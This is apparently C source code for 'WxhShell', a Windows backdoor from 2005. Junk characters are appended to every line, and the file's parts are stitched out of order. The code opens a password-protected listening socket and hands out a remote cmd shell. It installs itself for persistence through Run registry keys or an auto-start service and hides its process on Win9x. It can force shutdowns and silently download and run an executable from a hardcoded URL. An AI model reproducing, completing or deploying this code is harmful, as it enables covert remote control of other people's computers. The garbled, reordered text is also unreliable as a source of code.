    } fC`&g~yK'  
    break; c{|p.hd  
    } $FVNCFN%  
  // 关机 ]^E?;1$f?  
  case 'd': { la!~\wpa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dPlV>IM$z  
    if(Boot(SHUTDOWN)) T)/eeZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0J9x9j`&j  
    else { lA]8&+,ZM  
    closesocket(wsh); ?,mmYW6TjB  
    ExitThread(0); kP:!/g  
    } iS^QTuk3%  
    break; uRvP hkqm  
    } ';CNGv -  
  // 获取shell 0mE 0 j  
  case 's': { Ud?Q%) X  
    CmdShell(wsh); x5Bk/e'  
    closesocket(wsh); 3og.y+.=U.  
    ExitThread(0); ZK,G v  
    break; 6P3*Z  
  } oJ^P(]dw  
  // 退出 X ?O[r3<  
  case 'x': { @d'j zs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XFl 6M~ c  
    CloseIt(wsh); >MZ/|`[M  
    break; h p1Bi  
    } <'u'#E@"sl  
  // 离开 X'ag)|5ot  
  case 'q': { j2k"cmsKh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wk^B"+Uhy  
    closesocket(wsh); IGl9 g_18  
    WSACleanup(); M`_0C38  
    exit(1); J.a]K[ci  
    break; x2xRBkRg=  
        } V3Bz Mw\9r  
  } [agMfn  
  } ,tFg4k[  
YK_ 7ip.a[  
  // 提示信息 Rcuz(yS8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1 MFbQs^  
} - ).C  
  } )0`C@um  
hN_]6,<\  
  return; X|dlt{Gf   
} yi[x}ffdE  
Rq-ZL{LR7  
// shell模块句柄 -"x$ZnHU  
int CmdShell(SOCKET sock) E .h*g8bXe  
{ 0GwR~Z}Z  
STARTUPINFO si; 43cE`9~  
ZeroMemory(&si,sizeof(si)); CIWO7bS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! nx{ X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _`X:jj>  
PROCESS_INFORMATION ProcessInfo; ?ub35NLa  
char cmdline[]="cmd"; WJi]t93  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "+c-pO`Wg  
  return 0; 4g/dP^  
} mpyt5#f  
q.vIc ?a  
// 自身启动模式 CpN>p.kM  
int StartFromService(void) Wwo0%<2y  
{ e-;}366}  
typedef struct JF]JOI6.e  
{ sO Y:e/_F  
  DWORD ExitStatus; A/(a`"mK|'  
  DWORD PebBaseAddress; _c07}aQ ],  
  DWORD AffinityMask; (FV >m  
  DWORD BasePriority; (7Qo  
  ULONG UniqueProcessId; hH.G#-JO  
  ULONG InheritedFromUniqueProcessId; BtZyn7a  
}   PROCESS_BASIC_INFORMATION; sW$XH1Uf#  
0RfZEG)  
PROCNTQSIP NtQueryInformationProcess; u*R_\*j@  
c-w)|-ac.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z:O8Ls^\T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )7@0[>  
)oZ dj`  
  HANDLE             hProcess; "@kaHIf[  
  PROCESS_BASIC_INFORMATION pbi; f$( e\+ +  
\vNU,WO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %O<BfIZ  
  if(NULL == hInst ) return 0; x-c"%Z|  
bt *k.=p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d9ihhqq3}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bvj0^fSm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #ob/p#k  
G}*hM$F  
  if (!NtQueryInformationProcess) return 0; )u">it+  
*Ex|9FCt$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1YA% -~  
  if(!hProcess) return 0; @HW*09TG  
ESs\O?nO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Tc^y%b0  
}u|q0>^8  
  CloseHandle(hProcess); $]1=\ I  
6*?F@D2&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $>gFf}#C  
if(hProcess==NULL) return 0; zDp2g)  
Z)!C'cb  
HMODULE hMod; J4utIGF  
char procName[255]; :N@^?q{b  
unsigned long cbNeeded; z#N@ 0R  
3T 9j@N77  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l6B@qYLZ  
q4q6c")zp  
  CloseHandle(hProcess); :,^gj  
K,]=6 Rj  
if(strstr(procName,"services")) return 1; // 以服务启动 jpOp.  
E]6 6]+;0_  
  return 0; // 注册表启动 <#.g=ay  
} -di o5a  
0c &+|> !  
// 主模块 o  K@"f9  
int StartWxhshell(LPSTR lpCmdLine) VL^EHb7  
{ d _ e WcI  
  SOCKET wsl; Q\)F;:|  
BOOL val=TRUE; 'yth'[  
  int port=0; B *vM0  
  struct sockaddr_in door; H]!"Zq k  
>p/`;Kq@  
  if(wscfg.ws_autoins) Install(); 51u0]Qx;fm  
Bt#N4m[X*|  
port=atoi(lpCmdLine); ^{{q V  
\9d$@V  
if(port<=0) port=wscfg.ws_port; u>$t'  
X 8|EHb<  
  WSADATA data; "L1Zi.)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d3Rw!slIq  
H"KCK6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] - .aL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ddo#P%sH'  
  door.sin_family = AF_INET; -N@|QK>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -/k 3a*$/  
  door.sin_port = htons(port); & ~!Wym  
} %z   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  IB<d  
closesocket(wsl); t Pf40`@  
return 1; fh{`Mz,o  
} q;U,s)Uz^  
sGb{9.WK  
  if(listen(wsl,2) == INVALID_SOCKET) { 7KPwQ?SjT  
closesocket(wsl); &{RDM~  
return 1; G j1_!.T  
} 7|D+Ihy;  
  Wxhshell(wsl); {[(h[MW#  
  WSACleanup(); OTp]Xe/  
fV:83|eQ  
return 0; .o8t+X'G  
X|[`P<'N<  
} Y~Ifj,\  
IAEAhqp  
// 以NT服务方式启动 nie%eC&U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wf<LR3  
{ fLVAKn  
DWORD   status = 0; ^GX)Z~  
  DWORD   specificError = 0xfffffff; `kr?j:g  
a> )f=uS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w:l"\Tm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <or2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W l1 6`9  
  serviceStatus.dwWin32ExitCode     = 0; - DCbko  
  serviceStatus.dwServiceSpecificExitCode = 0; yBRC*0+Vy  
  serviceStatus.dwCheckPoint       = 0; m3ff;,  
  serviceStatus.dwWaitHint       = 0; {^'HL   
4~=l}H>&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0ksa  
  if (hServiceStatusHandle==0) return; ?}7p"3j'z  
-F92-jBM4  
status = GetLastError(); 66 Tpi![  
  if (status!=NO_ERROR) 7 ?t6UPf  
{ ^J d r>@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fX)# =c|5  
    serviceStatus.dwCheckPoint       = 0; Wvqhl 'J  
    serviceStatus.dwWaitHint       = 0; Hef g[$m  
    serviceStatus.dwWin32ExitCode     = status; LF7SS;&~f  
    serviceStatus.dwServiceSpecificExitCode = specificError; b[7 ]F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-&K~^-cH  
    return; ZN6Z~SL_i~  
  } };g"GNy  
iI>A *,{,`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jo}eeJ;k  
  serviceStatus.dwCheckPoint       = 0; vFsLY  
  serviceStatus.dwWaitHint       = 0; o14cwb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ETLD$=iS  
} o Rzi>rr  
c|1&lYal;  
// 处理NT服务事件,比如:启动、停止 |)81Lz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {iLT/i%  
{ !Uc T RI  
switch(fdwControl) d7i]FV  
{ X7 w Ky(g  
case SERVICE_CONTROL_STOP: O~QB!<Q+  
  serviceStatus.dwWin32ExitCode = 0; `XB 9Mi=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g1o8._f.  
  serviceStatus.dwCheckPoint   = 0; $A` VYJtt#  
  serviceStatus.dwWaitHint     = 0; fX+O[j  
  { 5Ph4<f` L~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6&-(&( _  
  } HmwT~  
  return; D0q ":WvE  
case SERVICE_CONTROL_PAUSE: |I|fMF2K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9,tej  
  break;  *,m;  
case SERVICE_CONTROL_CONTINUE: ? qA]w9x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r9lR|\Ax2U  
  break; ]q-Y }1di8  
case SERVICE_CONTROL_INTERROGATE: *:NQ&y*uj  
  break; :lzrgsW  
}; _?OG1t!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JG,%qFlk  
} %[yJ4WL  
9S-9.mvop  
// 标准应用程序主函数 Q^ (b)>?r;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yrn)VV[)h  
{ &M '*6A  
HdG2X  
// 获取操作系统版本 [PM4k0YC8  
OsIsNt=GetOsVer(); (~en (  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^VACf|0  
eIo7F m  
  // 从命令行安装 kxRV )G  
  if(strpbrk(lpCmdLine,"iI")) Install(); g4@ lM"|S  
ow#1="G,=  
  // 下载执行文件 42{:G8  
if(wscfg.ws_downexe) { ; Hd7*`$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1r7y]FyH$  
  WinExec(wscfg.ws_filenam,SW_HIDE); [sb[Z:  
} !YJs]_Wr  
T n}s*<=V  
if(!OsIsNt) { |&[EZ+[  
// 如果时win9x,隐藏进程并且设置为注册表启动 6_ow%Rx~F  
HideProc(); @gtQQxf"  
StartWxhshell(lpCmdLine); pBPl6%C.X-  
} !3v1bGk  
else 5BJmA2L  
  if(StartFromService()) e,5C8Q`Z  
  // 以服务方式启动 /OJ`c`>Q:  
  StartServiceCtrlDispatcher(DispatchTable); O<e{  
else Ydy9  
  // 普通方式启动 W,-g=6,  
  StartWxhshell(lpCmdLine); xp9pl[l  
yH}s<@y;7  
return 0; t.'!`5G  
} ))i}7 chc  
G/mXq-  
`V3Fx{  
*~H Sy8s  
=========================================== u?{H}V  
_]*>*XfF(  
vA.MRu#  
&yol_%C  
vI)LB)Q  
27< Enq]  
" ,'iE;o{Tu  
 gRT00  
#include <stdio.h> 8'r[te4,  
#include <string.h> PJ'E/C)i  
#include <windows.h> :U(A;U1,  
#include <winsock2.h> ;]jNk'oa  
#include <winsvc.h> %9RF   
#include <urlmon.h> !#" zTj  
 =4!e&o  
#pragma comment (lib, "Ws2_32.lib") SC])?h-Fw  
#pragma comment (lib, "urlmon.lib") 9!DQ~k%  
H]jhAf<h  
#define MAX_USER   100 // 最大客户端连接数 vFK<J Sk!  
#define BUF_SOCK   200 // sock buffer j9OG\m  
#define KEY_BUFF   255 // 输入 buffer  bnLPlf  
7( 2{'r  
#define REBOOT     0   // 重启 Y7[jqb1D  
#define SHUTDOWN   1   // 关机 -\n@%$M]G  
P_#bow  
#define DEF_PORT   5000 // 监听端口 l?^4!&Nm  
Iy3GE[  
#define REG_LEN     16   // 注册表键长度 7 ^mL_SMj  
#define SVC_LEN     80   // NT服务名长度 FtC^5{V+V  
r{%qf;  
// 从dll定义API >u8gD6X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *C=>X193U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *U\`CXn;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;l-!)0 U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &q|K!5[k  
}XM(:|8J,  
// wxhshell配置信息 x7x\Y(@  
struct WSCFG { 'anG:=  
  int ws_port;         // 监听端口 lR6x3C H@  
  char ws_passstr[REG_LEN]; // 口令 p Q<Y:-`c  
  int ws_autoins;       // 安装标记, 1=yes 0=no r_;N t  
  char ws_regname[REG_LEN]; // 注册表键名 VgC2+APg  
  char ws_svcname[REG_LEN]; // 服务名 1q1jZqno  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?_"ik[w}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t\j*}# S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E'.7xDN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3CGp`~Zf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a,#j =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B[?CbU  
Y,e B|  
}; 0|\$Vp  
Uwx E<=z  
// default Wxhshell configuration A^EE32kbm  
struct WSCFG wscfg={DEF_PORT, SrK<fAkx  
    "xuhuanlingzhe", y e? 'Ze  
    1, c>~*/%+  
    "Wxhshell", ,V:SN~P66+  
    "Wxhshell", ^J8lBLqe  
            "WxhShell Service", ~Ti'FhN  
    "Wrsky Windows CmdShell Service", M b1s F  
    "Please Input Your Password: ", WPG(@zD  
  1, M*H nM(  
  "http://www.wrsky.com/wxhshell.exe", f\>M'{cV  
  "Wxhshell.exe" "E?2xf|.  
    }; do+.aOC  
t=O8f5Pf{  
// 消息定义模块 KC#q@InK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8rS:5:Hi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X~,aNRy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t; {F%9j{  
char *msg_ws_ext="\n\rExit."; 'V=P*#|SR  
char *msg_ws_end="\n\rQuit."; =j*$ |X3W  
char *msg_ws_boot="\n\rReboot..."; Eq\M;aDq  
char *msg_ws_poff="\n\rShutdown..."; QM#4uI55B  
char *msg_ws_down="\n\rSave to "; K$_0 `>[  
aC.~&MxFC  
char *msg_ws_err="\n\rErr!"; 9dUravC7  
char *msg_ws_ok="\n\rOK!"; t#pS{.I  
z}ddqZ27G$  
char ExeFile[MAX_PATH]; '9j="R;  
int nUser = 0; mh[75(  
HANDLE handles[MAX_USER]; Gc;{\VU  
int OsIsNt; 6N S201o  
O[)kboY  
SERVICE_STATUS       serviceStatus; 5m(^W[u `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z(^]J`+\  
|CZ@te)>  
// 函数声明 r_6ZO&  
int Install(void); Mz~D#6=  
int Uninstall(void); 6U,O*WJ%e  
int DownloadFile(char *sURL, SOCKET wsh); dl@%`E48w  
int Boot(int flag); ouFYvtFg  
void HideProc(void); ]cMqahaY  
int GetOsVer(void); f-n1I^|  
int Wxhshell(SOCKET wsl); * 8_wYYH  
void TalkWithClient(void *cs); bNNr]h8y-  
int CmdShell(SOCKET sock); fs%.}^kn  
int StartFromService(void); doy`C)xI  
int StartWxhshell(LPSTR lpCmdLine); DOJN2{IP  
'>0fWBs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >P @H#=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;^%4Q"  
MgrLSKLT  
// 数据结构和表定义 %)I{%~u0  
SERVICE_TABLE_ENTRY DispatchTable[] = 1\>^m  
{ AKyUfAj3  
{wscfg.ws_svcname, NTServiceMain}, a (b#  
{NULL, NULL} lqZ5?BD1  
}; m?fy^>1  
ZR?yDgL  
// 自我安装 )PuFuf(wz  
int Install(void) ?>rW>U6:P  
{ 4$S;(  
  char svExeFile[MAX_PATH]; 'JfdV%M  
  HKEY key; <Fc;_GG  
  strcpy(svExeFile,ExeFile); zhRB,1iG  
C3],n   
// 如果是win9x系统,修改注册表设为自启动 -pGE]nwDL  
if(!OsIsNt) { $#S&QHyEe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b+6\JE^Mz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A '5,LfTu  
  RegCloseKey(key); [@b&? b~K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p@5`& Em,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V(6Z3g  
  RegCloseKey(key); e`TH91@  
  return 0; #( jw!d&  
    } V7P&%oz{C  
  } X/2&!O  
} ZUR6n>r  
else { Q[pV!CH  
3.W@ }   
// 如果是NT以上系统,安装为系统服务 <|+Ex  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4V COKx  
if (schSCManager!=0) [uq$5u  
{ O 8u j`G 9  
  SC_HANDLE schService = CreateService 5Z\#0":e  
  ( .#Z%1U%P.  
  schSCManager, 2.zsCu4lj.  
  wscfg.ws_svcname, 5>j)kx=J9  
  wscfg.ws_svcdisp, TAF PawH  
  SERVICE_ALL_ACCESS, 'BPp ]R#{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V=V:SlS9|  
  SERVICE_AUTO_START, Q=T&  
  SERVICE_ERROR_NORMAL, mfo1+owT  
  svExeFile, _/!y)&4"  
  NULL, /fT+^&  
  NULL, ?yR&/a  
  NULL, >U*T0FL7  
  NULL, D'A/wG  
  NULL oMTf"0EIW  
  ); `~;rblo;  
  if (schService!=0) [E JQ>?D  
  { Jesjtcy<*  
  CloseServiceHandle(schService); [YT>*BH?  
  CloseServiceHandle(schSCManager); c8>hc V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S9`flo  
  strcat(svExeFile,wscfg.ws_svcname); uVDa^+=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mB9r3[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }S$@ Ez6  
  RegCloseKey(key); 78OIUNm`  
  return 0; QC;^xG+W  
    } W.0L:3<"  
  } Z%Zd2 v  
  CloseServiceHandle(schSCManager); `Ru3L#@  
} ),!;| bh  
} F[[TWf/  
5~WGZc  
return 1; u[/m|z  
} q]N:Tpm9  
D{4YxR PX  
// 自我卸载 [$"n^5_~  
int Uninstall(void) pV,P|>YTf  
{ GJp85B!PlO  
  HKEY key; qfz8jY]  
?0oUS+lU  
if(!OsIsNt) { mAW, ?h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' n$ %Ls}S  
  RegDeleteValue(key,wscfg.ws_regname); ql?=(b;D  
  RegCloseKey(key); hk;7:G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (BfgwC)  
  RegDeleteValue(key,wscfg.ws_regname); /2Bi@syxK  
  RegCloseKey(key); ?6jkI2w  
  return 0; K/=_b<  
  } :`2=@.  
} X>. NFB  
} *@)O7vB  
else { R@#G>4  
z,bQQ;z9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0,rTdjH7  
if (schSCManager!=0) nn9wdt@.]  
{ O Wj@< N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k{$ ao  
  if (schService!=0) ku a) K!  
  { 0}xFD6{X  
  if(DeleteService(schService)!=0) { BQ2wnGc  
  CloseServiceHandle(schService); BC;:  
  CloseServiceHandle(schSCManager); ,b;{emX h  
  return 0; { e5/+W  
  } tP%{P"g3^  
  CloseServiceHandle(schService); -cm$[,b6  
  } g{9+O7q  
  CloseServiceHandle(schSCManager); -,{-bi  
} ]B]*/  
} ]$\|ktY!  
j$Je6zq0x  
return 1; ,SiY;(b=\  
} U*P. :BvG  
xvSuPP4 m  
// 从指定url下载文件 &gE 75B  
int DownloadFile(char *sURL, SOCKET wsh) mA@Me7m}  
{ P?]aWJ  
  HRESULT hr; {]]|5 \F  
char seps[]= "/"; BEgV^\u  
char *token; :C8$Xi_i}  
char *file; "y<?Q}1  
char myURL[MAX_PATH]; $Qy7G{XJ[^  
char myFILE[MAX_PATH]; d@G}~&.|  
rf%7b8[v  
strcpy(myURL,sURL); \VFHHi:I  
  token=strtok(myURL,seps); W|,V50K  
  while(token!=NULL) W$Yc'E ;  
  { Pv+5K*"7Cg  
    file=token; V@QK  
  token=strtok(NULL,seps); TSsKfexQ  
  } mTEx,   
.pvV1JA'  
GetCurrentDirectory(MAX_PATH,myFILE); RTu4@7XP  
strcat(myFILE, "\\"); Wt9Q;hK  
strcat(myFILE, file); T}=>C+3r  
  send(wsh,myFILE,strlen(myFILE),0); awUx=%ERtA  
send(wsh,"...",3,0); 4~OQhiJ   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R?EASc!b  
  if(hr==S_OK) }AvcoD/b  
return 0; N9<Ujom  
else h}Wdh1.M3  
return 1; fn/7wO$!  
*79m^  
} ?}Lg)EFH  
o!r8{L  
// 系统电源模块 <JwX_\?ln  
int Boot(int flag) !;!~n`  
{ b2b75}_A  
  HANDLE hToken; `g1iCF  
  TOKEN_PRIVILEGES tkp; Y05P'Q  
}/,CbKi,+  
  if(OsIsNt) { on7I l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7RvUH-S[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &X]\)`j0  
    tkp.PrivilegeCount = 1; 2.X"f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UP{j5gR:_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y}DonF  
if(flag==REBOOT) { @MK"X}3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %,*G[#*&  
  return 0; nD2, !71  
} Wi}FY }f  
else { 9cv]y#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TV}}dw  
  return 0; h`}3h< 8  
} <_./SC  
  } ;!T{%-tP  
  else { ?n\*,{9  
if(flag==REBOOT) { .~gl19#:T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P~FUS%39"o  
  return 0; Fv)7c4  
} Z_1*YRBY;  
else { (:+>#V)pZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8Z2.`(3c[  
  return 0; l**;k+hw  
} RP`2)/sMT  
} \M/6m^zS  
$,hwU3RVxc  
return 1; [ &qA\  
} +"g~"<  
sF+=KH  
// win9x进程隐藏模块 7a$ G@  
void HideProc(void) 2_t=P|Uo  
{ r CRgzC  
41 vL"P K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9%iFV N'  
  if ( hKernel != NULL ) d= ]U_+  
  { s Fgadz6O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bxXiQa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ekh1^evu  
    FreeLibrary(hKernel); vY*\R0/a  
  } Yp4c'Zk  
*V;3~x!  
return; gK3Mms]}m  
} - n6jG}01b  
RX2{g^V7  
// 获取操作系统版本 pD@zmCU  
int GetOsVer(void) fH8!YQG8$  
{ Ld|V^9h1;  
  OSVERSIONINFO winfo; ~L+]n0*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Dx#7bsDZR  
  GetVersionEx(&winfo); ]wuy_+$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +TRy:e  
  return 1; .]}N55M  
  else DjW$?>  
  return 0; W%!@QY;E(  
} y02 u?wJ  
XvSIWs  
// 客户端句柄模块 }+Vv0jX|V  
int Wxhshell(SOCKET wsl) IdM*5Y>f  
{ YJ2ro-X  
  SOCKET wsh; xnq><4  
  struct sockaddr_in client; qA/bg  
  DWORD myID; ^i:\@VA:  
]R_G{%  
  while(nUser<MAX_USER) cQFR]i  
{ fV ZW[9[  
  int nSize=sizeof(client); |Zq\GA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <kD#SV%"  
  if(wsh==INVALID_SOCKET) return 1; n!N\zx8  
(3EUy"z-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M'1HA  
if(handles[nUser]==0) :nQp.N*p  
  closesocket(wsh); RFG$X-.e  
else qvLDfN  
  nUser++; C 7n Kk/r  
  } g*]E>SQ=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IvW@o1Q  
?G/hJ?3  
  return 0; +CTmcbyOi  
} Ds5N Ap:x  
v29G:YQe  
// 关闭 socket "~p+0Xws9  
void CloseIt(SOCKET wsh) G+Dpma ]  
{ ;WI]vn  
closesocket(wsh); j.QHkI1.  
nUser--; z*.v_Mx  
ExitThread(0); "j Zm0U$,*  
} Qm);6X   
C;sgK  
// 客户端请求句柄 YlUpASW  
void TalkWithClient(void *cs) S]yvMj_?  
{ XS0V:<+,  
{~GR8 U  
  SOCKET wsh=(SOCKET)cs; WaYO1*=  
  char pwd[SVC_LEN]; FWTx&Ip  
  char cmd[KEY_BUFF]; MtG_9-  
char chr[1]; +(ny|r[#  
int i,j; p~bkf>  
3B,QJ&  
  while (nUser < MAX_USER) { o?!uX|Fy  
9p> /?H|  
if(wscfg.ws_passstr) { KZK,w#9.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s[-]cHQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]A!.9Ko}u  
  //ZeroMemory(pwd,KEY_BUFF); hmGdjw t$  
      i=0; <7g Ml  
  while(i<SVC_LEN) { [(c L/_  
G6Q4-kcK  
  // 设置超时 `Ei"_W  
  fd_set FdRead; m,NMTyJoz  
  struct timeval TimeOut; M j~${vj  
  FD_ZERO(&FdRead); `45d"B I  
  FD_SET(wsh,&FdRead); [$2qna2VP  
  TimeOut.tv_sec=8; t&"5dM\  
  TimeOut.tv_usec=0; RWahsJTu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B/Ba5z"r$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #S i|!  
0QR.   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jn,w)Els  
  pwd=chr[0]; fSV5  
  if(chr[0]==0xd || chr[0]==0xa) { ^W['A]l  
  pwd=0; U,3d) ]Zy&  
  break; A[ 1)!e  
  } ~_}4jnC  
  i++; J<_1z':W)  
    } XZ@ >]P  
R`C.ha  
  // 如果是非法用户,关闭 socket ^I./L)0= }  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Tx 3$eU  
} K.h]JD]o  
Fd"WlBYy0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f%1wMOzx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $SF3odpt  
Th+|*=Il  
while(1) { hgj0tIi/  
k6g|7^es2  
  ZeroMemory(cmd,KEY_BUFF); 4(iS-8{J  
7z>+w  
      // 自动支持客户端 telnet标准   L{K*~B-p  
  j=0; *dVD  
  while(j<KEY_BUFF) { F`D 9Zfd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nz @8  
  cmd[j]=chr[0]; !pS~'E&q  
  if(chr[0]==0xa || chr[0]==0xd) { v|To+ P6b  
  cmd[j]=0;  . X0t"  
  break; K-<n`zg3  
  } t;XS;b %  
  j++; g)N54WV  
    } (lb`#TTGx  
&U0WkW   
  // 下载文件  /Ef4EX0  
  if(strstr(cmd,"http://")) { |QqWVelc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q @*UUj@   
  if(DownloadFile(cmd,wsh)) wL'C1Vr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); < [ w++F~  
  else `^f}$R|  
